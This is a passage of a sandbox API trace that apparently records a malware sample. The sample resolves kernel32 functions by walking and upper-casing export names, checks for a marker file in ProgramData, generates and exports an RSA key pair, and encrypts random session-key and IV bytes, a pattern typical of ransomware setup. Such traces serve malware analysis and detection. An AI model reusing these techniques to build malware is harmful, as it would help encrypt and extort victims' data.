lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0083.511] lstrcpyA (in: lpString1=0x21fea90, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0083.511] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0083.511] lstrcpyA (in: lpString1=0x21fea90, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0083.512] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0083.512] lstrcpyA (in: lpString1=0x21fea90, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0083.512] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0083.512] lstrcpyA (in: lpString1=0x21fea90, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0083.512] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0083.512] lstrcpyA (in: lpString1=0x21fea90, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0083.512] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0083.512] lstrcpyA (in: lpString1=0x21fea90, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0083.512] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0083.512] lstrcpyA (in: lpString1=0x21fea90, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0083.512] lstrlenA (lpString="CREATETHREAD") returned 12 [0083.512] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x401c40, lpParameter=0x2d20000, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x348 [0083.512] lstrlenA (lpString="kernel32.dll") returned 12 [0083.513] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0083.513] lstrcpyA (in: lpString1=0x21feaa4, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0083.513] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0083.513] lstrcpyA (in: lpString1=0x21feaa4, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0083.513] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0083.513] lstrcpyA (in: lpString1=0x21feaa4, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0083.513] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0083.513] lstrcpyA (in: lpString1=0x21feaa4, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0083.513] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0083.513] lstrcpyA (in: lpString1=0x21feaa4, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0083.513] lstrlenA (lpString="ADDATOMA") returned 8 [0083.513] lstrcpyA (in: lpString1=0x21feaa4, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0083.513] lstrlenA (lpString="ADDATOMW") returned 8 [0083.513] lstrcpyA (in: lpString1=0x21feaa4, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0083.513] lstrcpyA (in: lpString1=0x21feaa4, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0083.513] CloseHandle (hObject=0x348) returned 1 [0083.513] SHGetFolderPathW (in: hwnd=0x0, csidl=35, hToken=0x0, dwFlags=0x0, pszPath=0x2cc0004 | out: pszPath="C:\\ProgramData") returned 0x0 [0083.752] lstrcatW (in: lpString1="C:\\ProgramData", lpString2="\\foo.db" | out: lpString1="C:\\ProgramData\\foo.db") returned="C:\\ProgramData\\foo.db" [0083.752] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0083.753] CreateFileW (lpFileName="C:\\ProgramData\\foo.db" (normalized: "c:\\programdata\\foo.db"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0083.753] CryptAcquireContextW (in: phProv=0x21fe8c0, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x21fe8c0*=0x6a3dc8) returned 1 [0085.059] CryptGenKey (in: hProv=0x6a3dc8, Algid=0xa400, dwFlags=0x8000001, phKey=0x21fe8b4 | out: phKey=0x21fe8b4*=0x68cd28) returned 1 [0093.492] CryptExportKey (in: hKey=0x68cd28, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x21fe8bc | out: pbData=0x0*, pdwDataLen=0x21fe8bc*=0x114) returned 1 [0093.492] VirtualAlloc (lpAddress=0x0, dwSize=0x115, flAllocationType=0x3000, flProtect=0x4) returned 0x3180000 [0093.493] CryptExportKey (in: hKey=0x68cd28, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x3180000, pdwDataLen=0x21fe8bc | out: pbData=0x3180000*, pdwDataLen=0x21fe8bc*=0x114) returned 1 [0093.493] CryptExportKey (in: hKey=0x68cd28, hExpKey=0x0, dwBlobType=0x7, dwFlags=0x0, pbData=0x0, pdwDataLen=0x21fe8b8 | out: pbData=0x0*, pdwDataLen=0x21fe8b8*=0x494) returned 1 [0093.493] VirtualAlloc (lpAddress=0x0, dwSize=0x494, flAllocationType=0x3000, flProtect=0x4) returned 0x3190000 [0093.493] CryptExportKey (in: hKey=0x68cd28, hExpKey=0x0, dwBlobType=0x7, dwFlags=0x0, pbData=0x3190000, pdwDataLen=0x21fe8b8 | out: pbData=0x3190000*, pdwDataLen=0x21fe8b8*=0x494) returned 1 [0093.494] CryptDestroyKey (hKey=0x68cd28) returned 1 [0093.494] CryptReleaseContext (hProv=0x6a3dc8, dwFlags=0x0) returned 1 [0093.494] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x31a0000 [0093.494] CryptAcquireContextW (in: phProv=0x31a0004, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x31a0004*=0x6a2120) returned 1 [0093.497] CryptImportKey (in: hProv=0x6a2120, pbData=0x1804b8, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x31a0008 | out: phKey=0x31a0008*=0x68c9e8) returned 1 [0093.497] CryptGenRandom (in: hProv=0x6a2120, dwLen=0x20, pbBuffer=0x21fe854 | out: pbBuffer=0x21fe854) returned 1 [0093.497] CryptGenRandom (in: hProv=0x6a2120, dwLen=0x8, pbBuffer=0x21fe874 | out: pbBuffer=0x21fe874) returned 1 [0093.515] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x21fed7c*, pdwDataLen=0x21fe8bc*=0x20, dwBufLen=0x100 | out: pbData=0x21fed7c*, pdwDataLen=0x21fe8bc*=0x100) returned 1 [0093.663] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x21fee7c*, pdwDataLen=0x21fe8bc*=0x8, dwBufLen=0x100 | out: pbData=0x21fee7c*, pdwDataLen=0x21fe8bc*=0x100) returned 1 [0093.663] CryptDestroyKey (hKey=0x68c9e8) returned 1 [0093.663] CryptReleaseContext (hProv=0x6a2120, dwFlags=0x0) returned 1 [0093.664] VirtualFree (lpAddress=0x31a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.664] lstrlenA (lpString="kernel32.dll") returned 12 [0093.664] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0093.664] lstrcpyA (in: lpString1=0x21fdafc, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0093.664] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0093.665] lstrcpyA (in: lpString1=0x21fdafc, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0093.665] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0093.665] lstrcpyA (in: lpString1=0x21fdafc, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0093.665] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0093.665] lstrcpyA (in: lpString1=0x21fdafc, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0093.665] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0093.665] lstrcpyA (in: lpString1=0x21fdafc, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0093.665] lstrlenA (lpString="ADDATOMA") returned 8 [0093.665] lstrcpyA (in: lpString1=0x21fdafc, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0093.665] lstrlenA (lpString="ADDATOMW") returned 8 [0093.665] lstrcpyA (in: lpString1=0x21fdafc, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0093.665] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0093.665] lstrcpyA (in: lpString1=0x21fdafc, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0093.665] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0093.665] lstrcpyA (in: lpString1=0x21fdafc, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0093.665] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0093.665] lstrcpyA (in: lpString1=0x21fdafc, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0093.665] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0093.665] lstrcpyA (in: lpString1=0x21fdafc, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0093.665] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0093.665] lstrcpyA (in: lpString1=0x21fdafc, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0093.665] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0093.665] lstrcpyA (in: lpString1=0x21fdafc, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0093.665] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0093.665] lstrcpyA (in: lpString1=0x21fdafc, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0093.665] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0093.665] lstrcpyA (in: lpString1=0x21fdafc, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0093.665] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0093.665] lstrcpyA (in: lpString1=0x21fdafc, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0093.665] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0093.666] lstrcpyA (in: lpString1=0x21fdafc, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0093.666] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0093.666] lstrcpyA (in: lpString1=0x21fdafc, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0093.666] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0093.666] lstrcpyA (in: lpString1=0x21fdafc, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0093.666] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0093.666] lstrcpyA (in: lpString1=0x21fdafc, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0093.666] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0093.666] lstrcpyA (in: lpString1=0x21fdafc, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0093.666] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0093.666] lstrcpyA (in: lpString1=0x21fdafc, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0093.666] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0093.666] lstrcpyA (in: lpString1=0x21fdafc, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0093.666] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0093.666] lstrcpyA (in: lpString1=0x21fdafc, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0093.666] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0093.666] lstrcpyA (in: lpString1=0x21fdafc, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0093.666] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0093.666] lstrcpyA (in: lpString1=0x21fdafc, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0093.666] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0093.666] lstrcpyA (in: lpString1=0x21fdafc, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0093.666] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0093.666] lstrcpyA (in: lpString1=0x21fdafc, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0093.666] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0093.666] lstrcpyA (in: lpString1=0x21fdafc, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0093.666] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0093.666] lstrcpyA (in: lpString1=0x21fdafc, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0093.667] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0093.667] lstrcpyA (in: lpString1=0x21fdafc, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0093.667] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0093.667] lstrcpyA (in: lpString1=0x21fdafc, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0093.667] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0093.667] lstrcpyA (in: lpString1=0x21fdafc, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0093.667] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0093.667] lstrcpyA (in: lpString1=0x21fdafc, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0093.667] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0093.667] lstrcpyA (in: lpString1=0x21fdafc, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0093.667] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0093.667] lstrcpyA (in: lpString1=0x21fdafc, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0093.667] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0093.667] lstrcpyA (in: lpString1=0x21fdafc, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0093.667] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0093.667] lstrcpyA (in: lpString1=0x21fdafc, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0093.667] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0093.667] lstrcpyA (in: lpString1=0x21fdafc, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0093.667] lstrlenA (lpString="BACKUPREAD") returned 10 [0093.667] lstrcpyA (in: lpString1=0x21fdafc, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0093.667] lstrlenA (lpString="BACKUPSEEK") returned 10 [0093.667] lstrcpyA (in: lpString1=0x21fdafc, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0093.667] lstrlenA (lpString="BACKUPWRITE") returned 11 [0093.668] lstrcpyA (in: lpString1=0x21fdafc, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0093.668] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0093.668] lstrcpyA (in: lpString1=0x21fdafc, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0093.668] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0093.668] lstrcpyA (in: lpString1=0x21fdafc, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0093.668] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0093.668] lstrcpyA (in: lpString1=0x21fdafc, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0093.668] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0093.668] lstrcpyA (in: lpString1=0x21fdafc, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0093.668] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0093.668] lstrcpyA (in: lpString1=0x21fdafc, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0093.668] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0093.668] lstrcpyA (in: lpString1=0x21fdafc, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0093.668] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0093.668] lstrcpyA (in: lpString1=0x21fdafc, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0093.668] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0093.668] lstrcpyA (in: lpString1=0x21fdafc, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0093.668] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0093.669] lstrcpyA (in: lpString1=0x21fdafc, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0093.669] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0093.669] lstrcpyA (in: lpString1=0x21fdafc, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0093.669] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0093.669] lstrcpyA (in: lpString1=0x21fdafc, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0093.669] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0093.669] lstrcpyA (in: lpString1=0x21fdafc, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0093.669] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0093.669] lstrcpyA (in: lpString1=0x21fdafc, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0093.669] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0093.669] lstrcpyA (in: lpString1=0x21fdafc, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0093.669] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0093.669] lstrcpyA (in: lpString1=0x21fdafc, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0093.669] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0093.669] lstrcpyA (in: lpString1=0x21fdafc, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0093.669] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0093.669] lstrcpyA (in: lpString1=0x21fdafc, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0093.669] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0093.669] lstrcpyA (in: lpString1=0x21fdafc, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0093.669] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0093.669] lstrcpyA (in: lpString1=0x21fdafc, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0093.669] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0093.669] lstrcpyA (in: lpString1=0x21fdafc, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0093.670] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0093.670] lstrcpyA (in: lpString1=0x21fdafc, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0093.670] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0093.670] lstrcpyA (in: lpString1=0x21fdafc, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0093.670] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0093.670] lstrcpyA (in: lpString1=0x21fdafc, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0093.670] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0093.670] lstrcpyA (in: lpString1=0x21fdafc, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0093.670] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0093.670] lstrcpyA (in: lpString1=0x21fdafc, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0093.670] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0093.670] lstrcpyA (in: lpString1=0x21fdafc, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0093.670] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0093.670] lstrcpyA (in: lpString1=0x21fdafc, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0093.670] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0093.670] lstrcpyA (in: lpString1=0x21fdafc, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0093.670] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0093.670] lstrcpyA (in: lpString1=0x21fdafc, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0093.670] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0093.670] lstrcpyA (in: lpString1=0x21fdafc, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0093.671] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0093.671] lstrcpyA (in: lpString1=0x21fdafc, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0093.671] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0093.671] lstrcpyA (in: lpString1=0x21fdafc, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0093.671] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0093.671] lstrcpyA (in: lpString1=0x21fdafc, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0093.671] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0093.671] lstrcpyA (in: lpString1=0x21fdafc, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0093.671] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0093.671] lstrcpyA (in: lpString1=0x21fdafc, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0093.671] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0093.671] lstrcpyA (in: lpString1=0x21fdafc, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0093.671] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0093.671] lstrcpyA (in: lpString1=0x21fdafc, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0093.671] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0093.671] lstrcpyA (in: lpString1=0x21fdafc, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0093.671] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0093.671] lstrcpyA (in: lpString1=0x21fdafc, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0093.671] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0093.671] lstrcpyA (in: lpString1=0x21fdafc, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0093.671] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0093.671] lstrcpyA (in: lpString1=0x21fdafc, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0093.672] 